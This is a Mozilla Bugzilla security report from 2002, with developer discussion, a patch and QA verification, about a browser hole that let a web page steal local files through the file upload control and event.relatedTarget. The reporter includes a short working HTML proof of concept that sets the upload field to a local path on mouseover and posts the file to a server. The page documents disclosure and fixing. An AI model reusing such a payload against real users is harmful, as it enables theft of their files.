Closed Bug 164023 Opened 23 years ago Closed 22 years ago

Stealing files with file upload and event.relatedTarget

Categories

(Core :: Security, defect)

Product:
Core
Component:
Security
Platform:
All
Linux
Type:
defect
Priority:
Not set
Severity:
critical

Tracking

()

Status:
VERIFIED FIXED
Milestone:
mozilla1.0.1

People

(Reporter: guninski, Assigned: joki)

References

Details

(Keywords: topembed, Whiteboard: [adt1 RTM] [ETA 08/23])

Attachments

(2 files)

proposed patch
1.88 KB, patch
Details | Diff | Splinter Review
Testcase
318 bytes, text/html
Details
test bug
Posting the real bug. It is possible to steal local files with the file upload control. This is somewhat related to bug 163598 but the trick is done with event.relatedTarget. The following reads a local file and sends it to remote server. ----------------------------------- <html> Written by <a href="http://www.guninski.com">Georgi Guninski</a> <br> <form action="http://localhost/cgi-bin/x.pl" enctype="multipart/form-data" method="POST"> Mouse over this: <input type=file name=c onmouseover='event.relatedTarget.value="/var/www/html/index.html"'><br> <input type=submit> </form> </html> ----------------------------------- Due to the increased number of file upload attacks, I suggest adding a warning whenever a file is being uploaded. Georgi Guninski
Assignee: guninski → mstoltz
Summary: test bug → Stealing files with file upload
cc'ing dveditz@netscape.com per mitchell's out of office.
Adding a bunch of people who were on bug 163598
Any ideas on what it takes to fix this? jkeiser, should this be assigned to you as well?
jkieser: should you own this bug?
Blocks: 143047
Severity: normal → critical
Keywords: nsbeta1+, topembed
Whiteboard: [adt1 RTM] [ETA Needed]
Target Milestone: --- → mozilla1.0.1
This seems very similar to bug 163598.
Blocks: 1.1
Sigh. Would someone mind finding these exploits closer to the beginning of a release cycle? :) I've never even heard of relatedTarget. And upload your testcase if you could be so kind. I'll see what I can see.
Assignee: mstoltz → jkeiser
Summary: Stealing files with file upload → Stealing files with file upload and event.relatedTarget
Okay, so this one raises a couple of interesting questions. Should relatedContent be able to see anonymous content at all? relatedContent is part of the DOM spec, having content under a file control is not. Of course that doesn't change the fact that we use relatedContent to look at anonymous content inside of tooltips so making it not see anonymous content could regress something. I have a fix (extension of the 163598 bug fix) that takes care of file controls. That may be as far as we want to go right now.
Attached patch proposed patch — — Splinter Review
-> security, joki
Assignee: jkeiser → joki
Component: Miscellaneous → Security: General
Product: mozilla.org → Browser
Comment on attachment 96329 [details] [diff] [review] proposed patch Argh, this copies jkeiser's fix, not including final nit-picks. Can you (a) copy the final fix or (b, better) subroutine so the code is shared? /be (using Asa's laptop)
Actually the patch is based on the final version of jkeiser's fix. But if you're talking about your ++numParentsChecked nit I just put that in. As for sharing the code I have hopes of fixing this version to better deal with anonymous content in the future (the behavior of relatedTarget and originalTarget as regards anonymous content is not exactly the same) so I'd rather keep it separate.
See also bug 164086, the same hole using event.rangeParent.
Attached file Testcase —
adding bclary.
QA Contact: mitchell → bsharma
Depends on: 164086
Whiteboard: [adt1 RTM] [ETA Needed] → [adt1 RTM] [ETA 08/23]
No longer blocks: 1.1
*** Bug 164687 has been marked as a duplicate of this bug. ***
Fixed with bug 164086.
Status: NEW → RESOLVED
Closed: 23 years ago
Resolution: --- → FIXED
Verified on 7.0RTM build on Win 2000. When mouse over on the text field, an exception is thrown and the text of the "Submit" button is not changed. When some file is selected in the text box using Browse button and then mouse over, "Submit" button text is changed and it shows some file location. An exception is also thrown at this time. So, reopening the bug to make validate that this behavior is acceptable or not
Status: RESOLVED → REOPENED
Resolution: FIXED → ---
bsharma: are you saying that the text in the Submit button ("Submit Query") *changes* when you follow these steps: - Go to http://bugzilla.mozilla.org/attachment.cgi?id=96401&action=view - Click the Browse ... button and select a file [text of file shows up in text input] - Mouse over the text input [exception is thrown, nothing user-visible happens] If not, I'm unclear on what you are saying.
Yes, that is exactly what I mean.
This looks fine to me. I think the bug is fixed. Someone should close it again.
Yes, this seems OK to me. I'm marking the bug Fixed again.
Status: REOPENED → RESOLVED
Closed: 23 years ago → 22 years ago
Resolution: --- → FIXED
Verified on the 2002-10-08-trunk build on Win 2000. The test case works as expected.
Status: RESOLVED → VERIFIED
Group: security
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: